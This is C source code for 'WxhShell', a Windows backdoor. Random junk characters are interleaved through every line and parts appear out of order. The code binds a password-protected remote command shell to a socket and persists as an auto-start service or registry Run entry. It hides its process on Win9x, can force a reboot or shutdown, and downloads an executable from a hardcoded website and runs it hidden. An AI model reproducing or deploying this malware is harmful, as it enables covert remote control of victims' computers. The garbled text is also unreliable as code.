    if(Boot(SHUTDOWN)) Bg&i63XL$$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2UH=Q!x4E  
    else { OTGofd2zf  
    closesocket(wsh); <KE 1f7c  
    ExitThread(0); )~+E[|  
    } +=q$x Ia  
    break; Xf02"PXC  
    } : >6F+XZ  
  // 获取shell MHh~vy'HB5  
  case 's': { Wc,~{  
    CmdShell(wsh); 0~ZFv Wv  
    closesocket(wsh); X 9p.gXF  
    ExitThread(0); 9z}uc@#D=m  
    break; M)eO6oX|  
  } B:gjAb}9T  
  // 退出 /4a._@1h[y  
  case 'x': { JRSSn]pw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 19O,a#{KHf  
    CloseIt(wsh); $^OvhnL/  
    break; =+U `-J} g  
    } ue4Vcf  
  // 离开 0J?~N`#O|  
  case 'q': { Y' %^NP}o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Fy`(BF\  
    closesocket(wsh); iz8Bf;  
    WSACleanup(); ~i~7 n a|  
    exit(1); E=e*VEjy  
    break; l^|UCgRn  
        } Sz^ veh?  
  } @\|_  
  } 1u: gFUb  
6^]!gR#B  
  // 提示信息 E"+QJ~!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Svondc 4  
} LXbP 2  
  } t?}zdI(4  
^.1c{0Y^0  
  return; 7on.4/;M  
} ?Cl%{2omO  
|K.mP4CKY  
// shell模块句柄 Qa.<K{m#?  
int CmdShell(SOCKET sock) EQf[,  
{ (iL|Sq&}b  
STARTUPINFO si; [x9KVd ^d  
ZeroMemory(&si,sizeof(si)); 1+9W+$=h2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; POvP]G9'"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z8rvWH9  
PROCESS_INFORMATION ProcessInfo; c lNkph  
char cmdline[]="cmd"; R{ a"Y$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q^ pmQ  
  return 0; B[V+ND'(  
} +)y^ 'Qs  
{ jhr<  
// 自身启动模式 VY~yg*  
int StartFromService(void) +6';1Nb@  
{ &K.?p2$X  
typedef struct GH+r ?2<  
{ U-IpH+E  
  DWORD ExitStatus; $lLz 3YS  
  DWORD PebBaseAddress; 'R c,Mq'  
  DWORD AffinityMask; lEhk'/~  
  DWORD BasePriority; R $&o*K`?  
  ULONG UniqueProcessId; *Eo?k<:zPm  
  ULONG InheritedFromUniqueProcessId; Pb?$t  
}   PROCESS_BASIC_INFORMATION; oJ4 AIQjB  
/4g1zrU  
PROCNTQSIP NtQueryInformationProcess; l y(>8F  
AS\F{ !O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BaSZ71>9]r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H`0|tepz  
cFeXpj?GV  
  HANDLE             hProcess; yls ^cyX  
  PROCESS_BASIC_INFORMATION pbi; v#.r.{t  
7 T1=q{#M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -?mfE+kt  
  if(NULL == hInst ) return 0; Z/t+8;TMR,  
Jh ]i]7r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cq%IE^g<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )rekY;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D|Q#gcWpo  
,6om\9.E@  
  if (!NtQueryInformationProcess) return 0; 3wC' r  
:.$3vaZ@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }[ 4r4 1[  
  if(!hProcess) return 0; ~g5[$r-u-u  
6"~P/\jP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M+w=O!dq  
ptU \[Tq  
  CloseHandle(hProcess);  *T5!{  
w]]8dz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UPG9)aF  
if(hProcess==NULL) return 0; DP3PYJ%+B  
\'|> p/5I  
HMODULE hMod; mGJasn  
char procName[255]; i(>4wK!!  
unsigned long cbNeeded; ;*:Pw?'  
R'C2o]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b)=[1g/=L  
Kjs.L!W  
  CloseHandle(hProcess); MM (xk  
X4 A<[&F/  
if(strstr(procName,"services")) return 1; // 以服务启动 q U]gj@R  
-( f)6a+H  
  return 0; // 注册表启动 MP!d4  
} PX<J&rx  
a=hxJ1O  
// 主模块 ~])t 6i  
int StartWxhshell(LPSTR lpCmdLine) @Ub"5Fl4  
{ 8 0Gn%1A9  
  SOCKET wsl; g7O qX \  
BOOL val=TRUE; g K[YQXfTy  
  int port=0; @te!Jgu{  
  struct sockaddr_in door; .=X}cJ]`[  
uf&myV7  
  if(wscfg.ws_autoins) Install(); [%77bv85.G  
:9^;Qv*  
port=atoi(lpCmdLine); ,u`B<heoLU  
{ S3ZeN,kZ  
if(port<=0) port=wscfg.ws_port; $`)/0{qY-  
vTlwRG=5  
  WSADATA data; L#+q]j+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0tEYU:Qu  
my4giC2a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Ou WB"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wtH? [>S;)  
  door.sin_family = AF_INET; (2:/8\_P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UN]f"k&  
  door.sin_port = htons(port); /.Ww6a~  
r[lF<2&*R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y#u}tE d  
closesocket(wsl); %<an9WMF  
return 1; *Df,Ijh$  
} \E% 'Y  
E ,|xJjh  
  if(listen(wsl,2) == INVALID_SOCKET) { qoj$]   
closesocket(wsl); S"OR%  
return 1; rdJ d#S  
} XT@-$%u  
  Wxhshell(wsl); ?<(m 5Al7  
  WSACleanup(); [^U#Qj)hL  
d5D$&5Ec  
return 0; n&-qaoNl  
?34 e-  
} iVy7elT;R  
<;#~l*  
// 以NT服务方式启动 &!/}Qp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^(|vsFzn  
{ <xgTS[k  
DWORD   status = 0; L:1^Kxg  
  DWORD   specificError = 0xfffffff; MD|5 ol9  
;S57w1PbVA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &:, dJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jF=gr$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :yeq(o K,  
  serviceStatus.dwWin32ExitCode     = 0; dv.(7Y7.x  
  serviceStatus.dwServiceSpecificExitCode = 0; fp[|M  
  serviceStatus.dwCheckPoint       = 0; 'J6 M*vO  
  serviceStatus.dwWaitHint       = 0; 0el9&l9Ew  
&8]d }-e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HmiJ~C_v`:  
  if (hServiceStatusHandle==0) return; t5#rps\;  
7tcPwCc{  
status = GetLastError(); Kd=%tNp  
  if (status!=NO_ERROR) ? P( ZA  
{ K)\M5id]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " e}3:U5n  
    serviceStatus.dwCheckPoint       = 0; rfNm&!K  
    serviceStatus.dwWaitHint       = 0; :j]vf8ec  
    serviceStatus.dwWin32ExitCode     = status; l&?}hq^'Dn  
    serviceStatus.dwServiceSpecificExitCode = specificError; }jVSlCF@t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /4 vG3  
    return; :1iqT)&|8F  
  } wYQ&C{D%  
J,AR5@)1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _c, '>aH=  
  serviceStatus.dwCheckPoint       = 0; +=.W<b  
  serviceStatus.dwWaitHint       = 0; Kwg4sr5"D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n(L\||#+  
} 4Qo]n re!  
+ j W1V}h  
// 处理NT服务事件,比如:启动、停止 w0C~*fn3l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) unBy&?&p  
{ *7h!w!LN~  
switch(fdwControl) p\JfFfC  
{ %5A+V0D0'  
case SERVICE_CONTROL_STOP: mL_j4=ER@  
  serviceStatus.dwWin32ExitCode = 0; %YSu8G_t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jSwf*u  
  serviceStatus.dwCheckPoint   = 0;  \o/n  
  serviceStatus.dwWaitHint     = 0; uU:CR>=AKW  
  { <oo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*?WU_L(g  
  } &9"-`-[e:  
  return; }b0; 0j  
case SERVICE_CONTROL_PAUSE: <_XWWT%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9\]^|?zQ`  
  break; %"af748!+D  
case SERVICE_CONTROL_CONTINUE: IjR'Qou5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RW}"2  
  break; yRiP{$E  
case SERVICE_CONTROL_INTERROGATE: k31I ysh  
  break; ^ 8@Iyh  
}; |'{zri|A"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##EYH1P]  
} hYM@?/(q  
Xa[?^P  
// 标准应用程序主函数 ;\\@q"n%<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ODC8D>ZYl  
{ tX"Th'Qi  
,I_^IitN  
// 获取操作系统版本 &bp=`=*  
OsIsNt=GetOsVer(); Ie4hhW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HjGyj/78w  
K"[AxB'F  
  // 从命令行安装 q7-L53.x  
  if(strpbrk(lpCmdLine,"iI")) Install(); W"k8KODOY  
Ce")[<:  
  // 下载执行文件 6'RrQc=q  
if(wscfg.ws_downexe) { H03jDM8Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &ZX{R#[L  
  WinExec(wscfg.ws_filenam,SW_HIDE); %B)6$!x  
} IrWD%/$H  
S-'fS2  
if(!OsIsNt) { gW1b~( fD  
// 如果时win9x,隐藏进程并且设置为注册表启动 %0mMz.f  
HideProc(); [_.5RPJP8  
StartWxhshell(lpCmdLine); mUz\ra;z  
} lME)?LOI  
else /M*a,o  
  if(StartFromService()) zdEPDd B  
  // 以服务方式启动 A6pjRxg  
  StartServiceCtrlDispatcher(DispatchTable); rJ!{/3e  
else F`9ZH.  
  // 普通方式启动 *s>BG1$<  
  StartWxhshell(lpCmdLine); }Iz7l{al   
_+^ 2^TW  
return 0; eU N"w,@y  
} }QsZ:J.  
2d {y M(=(  
sqS=qC  
ryc& n5  
=========================================== yin'vgQ  
?l$Nf@-  
7zv1 wb  
]+m/;&0  
jOyvDY9\  
j $TwL;  
" ]d]JXt?)i  
UEzb^(8>  
#include <stdio.h> , E$@=1)  
#include <string.h> _C+b]r/E  
#include <windows.h> 2"d!(J6}K  
#include <winsock2.h> u]ZqOJXxu  
#include <winsvc.h> KV*xApb9y  
#include <urlmon.h> }irn'`I  
DS%\SrC  
#pragma comment (lib, "Ws2_32.lib") /De^  
#pragma comment (lib, "urlmon.lib") @5[kcU>  
]Y| 9?9d  
#define MAX_USER   100 // 最大客户端连接数 f5GdZ_  
#define BUF_SOCK   200 // sock buffer >Z;jY*  
#define KEY_BUFF   255 // 输入 buffer *\o/q[  
1<h>B:  
#define REBOOT     0   // 重启 Vm|Y$ C  
#define SHUTDOWN   1   // 关机 {" 4e+y  
p*8-W(u)  
#define DEF_PORT   5000 // 监听端口 \6 93kQ  
ee/&/Gt  
#define REG_LEN     16   // 注册表键长度 W},b{NT  
#define SVC_LEN     80   // NT服务名长度 ej O}t:}P  
zP;cTF(C  
// 从dll定义API )Y8",Ig  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZJjTzEV%^B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hHPs&EA.p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q,3;m[cA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xwH?0/  
$7'g Rb4  
// wxhshell配置信息 {q3H5csFq  
struct WSCFG { wM _ 6{  
  int ws_port;         // 监听端口 @Fpb-Qd"  
  char ws_passstr[REG_LEN]; // 口令 -.|4Y#b:&  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Fe_rh  
  char ws_regname[REG_LEN]; // 注册表键名 :Yj) CGl$  
  char ws_svcname[REG_LEN]; // 服务名 \i[BP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z^9/v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )C.yF)Ql  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3~qR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1H,g=Y4f%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 ua6l[c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8v)_6p(<x8  
EOoZoVdzx  
}; O`$#Pg  
zj|/ CxV  
// default Wxhshell configuration }elH75[64  
struct WSCFG wscfg={DEF_PORT, nSCWg=E^  
    "xuhuanlingzhe", R <"6ojn  
    1, oQ7]= |  
    "Wxhshell", 0gn@h/F2%  
    "Wxhshell", /V?H4z[G  
            "WxhShell Service", {gKN d*[*  
    "Wrsky Windows CmdShell Service", ]}UgS+g>$  
    "Please Input Your Password: ", =ORf%f5"'  
  1, "|m|E/Z-9  
  "http://www.wrsky.com/wxhshell.exe", ZCg`z  
  "Wxhshell.exe" <q,+ON\'  
    }; Cj*-[ EL<  
IAOcKQ3  
// 消息定义模块  pAu72O?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M- 0i7%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )=Q)BN[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +} mk>e/  
char *msg_ws_ext="\n\rExit."; C`'W#xnp1  
char *msg_ws_end="\n\rQuit."; e0;  
char *msg_ws_boot="\n\rReboot..."; xc?}TPpt  
char *msg_ws_poff="\n\rShutdown..."; t+nRw?Z  
char *msg_ws_down="\n\rSave to "; w18RA#Zo/  
b%t+,0s|  
char *msg_ws_err="\n\rErr!"; u7;~  
char *msg_ws_ok="\n\rOK!"; ba3-t;S  
L z\UZeq  
char ExeFile[MAX_PATH]; 7rHS^8'H&  
int nUser = 0; wVq\FY%  
HANDLE handles[MAX_USER]; GPWr>B.{:S  
int OsIsNt; 'ho{eR@d  
!eJCM`cp  
SERVICE_STATUS       serviceStatus; _iE j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gq5qRi`q  
$A$@|]}p  
// 函数声明 1IgHc.s  
int Install(void); #~ Q8M*~@  
int Uninstall(void); WjMS5^ _  
int DownloadFile(char *sURL, SOCKET wsh); OSzjK7:  
int Boot(int flag); 2BzqY`O  
void HideProc(void); $cVi;2$p  
int GetOsVer(void); 'xFYUU]#T^  
int Wxhshell(SOCKET wsl); -s$<Op{s  
void TalkWithClient(void *cs); hFvi 5I-b  
int CmdShell(SOCKET sock); !CjqL~  
int StartFromService(void); \Z/k;=Sla  
int StartWxhshell(LPSTR lpCmdLine); ZB5?!.ND  
MF[z -7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j K8'T_Pah  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P.sgRsL  
k:#6^!b1  
// 数据结构和表定义 l oqvi  
SERVICE_TABLE_ENTRY DispatchTable[] = Gowp <9 F  
{ MjaUdfx  
{wscfg.ws_svcname, NTServiceMain}, D*vm cSf  
{NULL, NULL} Pj7gGf6v  
}; CQODXB^  
FyG6 !t%  
// 自我安装 ["3df>!f  
int Install(void) Poa?Ej  
{ &C-;Sa4  
  char svExeFile[MAX_PATH]; Q1>zg,r  
  HKEY key; H:a|x#"  
  strcpy(svExeFile,ExeFile); J  fcMca  
T`$KeuL  
// 如果是win9x系统,修改注册表设为自启动 v\ZBv zd  
if(!OsIsNt) { p-GT`D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fY2wDD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ZU#IQVQfn  
  RegCloseKey(key); S*%iiD)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #  nfI%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7SI)1_%G  
  RegCloseKey(key); Vos?PqUi 4  
  return 0; ew#T8F[  
    } GoE#Mxhxo  
  } >kdM:MK  
} OR+A_:c.D  
else { C]`eH *z~8  
6T^lS^  
// 如果是NT以上系统,安装为系统服务 v5T9Y-{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J-J3=JG  
if (schSCManager!=0) T{*^_  
{ WfGH|u  
  SC_HANDLE schService = CreateService lv:U%+A  
  ( #Y[H8TW  
  schSCManager, pH9HK  
  wscfg.ws_svcname, h'^FrWaU/  
  wscfg.ws_svcdisp, ZHy><=2  
  SERVICE_ALL_ACCESS, ?gV'(3 !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ~q%  
  SERVICE_AUTO_START, CKTrZxR"  
  SERVICE_ERROR_NORMAL, qmmv7==  
  svExeFile, Q?;C4n4]l  
  NULL, L2U x9_S  
  NULL, GYgWf1$8_D  
  NULL, lSc,AOXp  
  NULL, |l90g|isJ  
  NULL /BzA(Ic/  
  ); (Cj,\r  
  if (schService!=0) 6MrKi|'X@  
  { |}qjqtZ  
  CloseServiceHandle(schService); E_[ONm=,  
  CloseServiceHandle(schSCManager); R @r{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g'G8 3F  
  strcat(svExeFile,wscfg.ws_svcname); B5Va%?Wg?H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kp_jy.e7&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }(=ml7)v  
  RegCloseKey(key); GqjO>v fy  
  return 0; ZBj6KqfST%  
    } 7b.U!Ju  
  } `=!p$hg($  
  CloseServiceHandle(schSCManager); J1-):3A  
} >=!AL,:  
} ?;8M^a/  
\ j]~>9  
return 1; k.Zll,s  
} ?"@ET9  
}%{=].)L  
// 自我卸载 (G5T%[/U  
int Uninstall(void) P $h;SK  
{ dy_.(r5[L]  
  HKEY key; \r]('x3S  
Za\RM[Z!I  
if(!OsIsNt) { fH!=Zb_{8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a R#Cot  
  RegDeleteValue(key,wscfg.ws_regname); '?R=P  
  RegCloseKey(key); nx :)k-p_[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I2*oTUSik  
  RegDeleteValue(key,wscfg.ws_regname); ^"`Z1)V  
  RegCloseKey(key); (^S5Sc=  
  return 0; `9EVB;  
  } 2nx8iA  
} tG 7+7Z =  
} $Z7:#cZ Y  
else { |B1Af  
!?r/ 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ i9[Mj  
if (schSCManager!=0) /$OIlu  
{ ^4hc+sh0D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,'-?:`hP'  
  if (schService!=0) pU[K%@sC  
  { aa=b<Cd  
  if(DeleteService(schService)!=0) { !@yQK<0  
  CloseServiceHandle(schService); 4H7Oh*P\j  
  CloseServiceHandle(schSCManager); gCwt0)  
  return 0; LO>8 j:  
  } !>|`ly$6  
  CloseServiceHandle(schService); 14u^[M" U  
  } iJ*%dio  
  CloseServiceHandle(schSCManager); ./!KE"!  
} ^=#!D[xj>  
} q/J3cXa{K  
8AX3C s_G  
return 1; g!5#,kJM  
} o?=fhc  
RD9Y k  
// 从指定url下载文件 ]84YvpfW  
int DownloadFile(char *sURL, SOCKET wsh) 7`+UB>8  
{ wKrdcWI,Z  
  HRESULT hr; GsRt5?X/*  
char seps[]= "/"; a?\ `  
char *token; )Jz!Ut  
char *file; 0&o WfTg  
char myURL[MAX_PATH]; o(nHB g  
char myFILE[MAX_PATH]; 9>zDJx  
8"pA9Mr  
strcpy(myURL,sURL); "{6KZ!+0  
  token=strtok(myURL,seps); +TWJNI  
  while(token!=NULL) Q5T(nEA  
  { 'w `d$c/p  
    file=token; L.Vq1RU\"  
  token=strtok(NULL,seps); 6fQ*X~| p  
  } Q^kMCrp  
OMxxI6h  
GetCurrentDirectory(MAX_PATH,myFILE); rX)o3>q^?  
strcat(myFILE, "\\"); =~;zVP   
strcat(myFILE, file); ep`/:iYW  
  send(wsh,myFILE,strlen(myFILE),0); 8\u;Wf  
send(wsh,"...",3,0); W -!dMa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %$\}z( G  
  if(hr==S_OK) fX$6;Ae  
return 0; 7Fc |  
else wtUG^hV #_  
return 1; QJ6f EV$~  
.1%i`+uZ  
} TR_(_Yd?36  
R3cG<MjmK  
// 系统电源模块 $$/S8LmmK  
int Boot(int flag) 2O^32TdS  
{ I>8 Bc  
  HANDLE hToken; ?/^VOj4&  
  TOKEN_PRIVILEGES tkp; C!I\Gh  
L;kyAX@^  
  if(OsIsNt) { <|wmjW/ D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  MbM :3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g<;Nio  
    tkp.PrivilegeCount = 1; r$Kh3EEF`E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r ufRaar  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Q +TE;  
if(flag==REBOOT) { :hi$}xHa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'fX er!L}  
  return 0; F}\[eFf[  
} d!FONi  
else { jeyaT^F(   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) +*@AM E  
  return 0; 8g&uE*7N  
} ~V|KT}H  
  } 1. xw'i  
  else { ~91uk3ST?  
if(flag==REBOOT) { ;9 R40qi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w2s,  
  return 0; jWz|K  
} C3^X1F0  
else { fdvi}SS8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pZW}^kg=  
  return 0; T`j  
} $K;_Wf  
} x Xl$Mp7  
1Q3%!~<\s  
return 1; Es_ SCWJ  
} c M|af#o  
06Sqn3MB  
// win9x进程隐藏模块 2I9{+>k  
void HideProc(void) E]D4']  
{ #{.pQi})  
=#J 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q2??Kp] 1  
  if ( hKernel != NULL ) 8j({=xbg&  
  { ?yda.<"g9Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,|=iv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )yfOrsM  
    FreeLibrary(hKernel); >0[qi1  
  } &L2`L)  
+G>aj '\M|  
return; v #zfs'  
} p=je"{  
?d,acm  
// 获取操作系统版本 =W97|BIW,  
int GetOsVer(void) uBV^nUjS"m  
{ KX&Od@cQ$  
  OSVERSIONINFO winfo; )i?{;%^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C&qDvvk  
  GetVersionEx(&winfo); gqKC4'G0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7~QwlU3n<F  
  return 1; zcbA)  
  else 9;'>\ImI  
  return 0; V~tu<"%  
} E9 :|8#b  
xQcMQ{&;  
// 客户端句柄模块 b3jU~L$  
int Wxhshell(SOCKET wsl) }6b7a1p  
{ ?3e!A9x  
  SOCKET wsh; \Mh4X`<e  
  struct sockaddr_in client; _,Io(QS  
  DWORD myID; gb^UFD L  
!'c6Hs  
  while(nUser<MAX_USER) %t(, *;  
{ k N uN4/  
  int nSize=sizeof(client); $/-wgyP3m+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -b Ipmp?  
  if(wsh==INVALID_SOCKET) return 1; f^>lObvd  
UwzE'#Q-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X_EC:GU  
if(handles[nUser]==0) =!Baz&#}  
  closesocket(wsh); gs)%.k[BqG  
else GHJQ d&G8G  
  nUser++; :ok!,QN  
  } fNmG`Ke  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4%Z\G@0<'  
P,+ 0   
  return 0; 2t~7eI%d  
} O=9VX  
(&a3v  
// 关闭 socket \5v=pDd4g  
void CloseIt(SOCKET wsh) ({}O M=_  
{ !F}J+N=}  
closesocket(wsh); &' oacV=  
nUser--; XJV3oj   
ExitThread(0); 2Q;Y@%G  
} HtS1N}@  
rVIb'sa  
// 客户端请求句柄 tS*^}e*  
void TalkWithClient(void *cs) cnjj) c  
{ [ a65VR~J  
/ltP@*bo  
  SOCKET wsh=(SOCKET)cs; }rb ]d'|  
  char pwd[SVC_LEN]; dk, I?c &  
  char cmd[KEY_BUFF]; :9O0?6:B|  
char chr[1]; Iu)(Huv  
int i,j; =QO1FO  
S{r)/ ~/  
  while (nUser < MAX_USER) { ^FyvaO  
R*c0NJF  
if(wscfg.ws_passstr) { [b\lcQ8O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hr 6LB&d_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _|Kv~\G!  
  //ZeroMemory(pwd,KEY_BUFF); vVvt ]h  
      i=0; .w*{=x0k  
  while(i<SVC_LEN) { oW\7q{l2)  
&t=>:C$1Y  
  // 设置超时 M cMK|_H  
  fd_set FdRead; FZ'>LZ  
  struct timeval TimeOut; yz&q2  
  FD_ZERO(&FdRead); Qe=Q8cT  
  FD_SET(wsh,&FdRead); O (sFs1  
  TimeOut.tv_sec=8; (B~V:Yt  
  TimeOut.tv_usec=0; V HY<(4@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7;#dX~>@{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OYRR'X.E  
lCs8`bYU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ."#jN><t  
  pwd=chr[0]; h0EGhJs  
  if(chr[0]==0xd || chr[0]==0xa) { :Y)kKq d  
  pwd=0; =Q8^@i4[&D  
  break; 5/eS1NJ@  
  } ?p/kuv{\o#  
  i++; |@n{tog+-  
    } [HZCnO|N  
:Pp;{=J  
  // 如果是非法用户,关闭 socket (nP*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J\8l%4q3  
} s }R:q  
VRN9yn2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /dP8F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |LGNoP}SA  
zR/p}Wu|!  
while(1) { h ?qYy$  
U8I~co:h  
  ZeroMemory(cmd,KEY_BUFF); aPP<W|Cmo2  
2g07wJ6x  
      // 自动支持客户端 telnet标准   m^s2kB4A[  
  j=0; -gX2{dW  
  while(j<KEY_BUFF) { g>oYEFFJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `8 b6 /  
  cmd[j]=chr[0]; =)UiI3xHk  
  if(chr[0]==0xa || chr[0]==0xd) { XU })3]/  
  cmd[j]=0; :DF4g=  
  break; YKS'#F2  
  } $Q7E#  
  j++; E*b[.vUp  
    } D;8V{Hs  
_ JJ0pc9t  
  // 下载文件 an5kR_=  
  if(strstr(cmd,"http://")) { TD=/C|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;s/b_RN  
  if(DownloadFile(cmd,wsh)) BU?MRcHC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;A5-|C  
  else 7 V1k$S(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vv"wf;#  
  } u9^;~i,  
